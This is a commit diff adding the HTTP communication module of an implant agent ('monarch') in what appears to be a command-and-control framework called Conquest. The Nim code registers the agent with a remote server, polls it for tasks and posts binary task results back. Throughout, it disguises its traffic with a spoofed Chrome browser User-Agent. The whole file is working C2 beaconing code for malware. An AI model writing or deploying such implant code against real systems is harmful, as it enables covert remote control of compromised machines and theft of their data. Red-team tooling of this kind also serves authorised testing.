Implemented agent registration to match new binary structure instead of json.

src/agents/monarch/core/http.nim

@@ -0,0 +1,78 @@
+import httpclient, json, strformat, asyncdispatch
+
+import ./metadata
+import ../agentTypes
+import ../../../common/[types, utils]
+
+const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
+
+proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} = 
+
+    let client = newAsyncHttpClient(userAgent = USER_AGENT)
+    
+    # Define HTTP headers
+    client.headers = newHttpHeaders({ 
+        "Content-Type": "application/octet-stream",
+        "Content-Length": $registrationData.len
+    })
+
+    let body = registrationData.toString()
+
+    try:
+        # Register agent to the Conquest server
+        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)    
+    
+    except CatchableError as err:
+        echo "[-] [register]:", err.msg
+        quit(0)
+
+    finally:
+        client.close()
+
+    return true
+
+proc getTasks*(config: AgentConfig): string = 
+
+    let client = newAsyncHttpClient(userAgent = USER_AGENT)
+    var responseBody = ""
+
+    try:
+        # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization 
+        responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
+        return responseBody
+    
+    except CatchableError as err:
+        # When the listener is not reachable, don't kill the application, but check in at the next time
+        echo "[-] [getTasks]: " & err.msg 
+    
+    finally:
+        client.close()
+
+    return ""
+
+proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} = 
+    
+    let client = newAsyncHttpClient(userAgent = USER_AGENT)
+
+    # Define headers
+    client.headers = newHttpHeaders({ 
+        "Content-Type": "application/octet-stream",
+        "Content-Length": $resultData.len
+    })
+    
+    let body = resultData.toString()
+
+    echo body
+
+    try:
+        # Send binary task result data to server
+        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
+    
+    except CatchableError as err:
+        # When the listener is not reachable, don't kill the application, but check in at the next time
+        echo "[-] [postResults]: " & err.msg
+        return false
+    finally:
+        client.close()
+
+    return true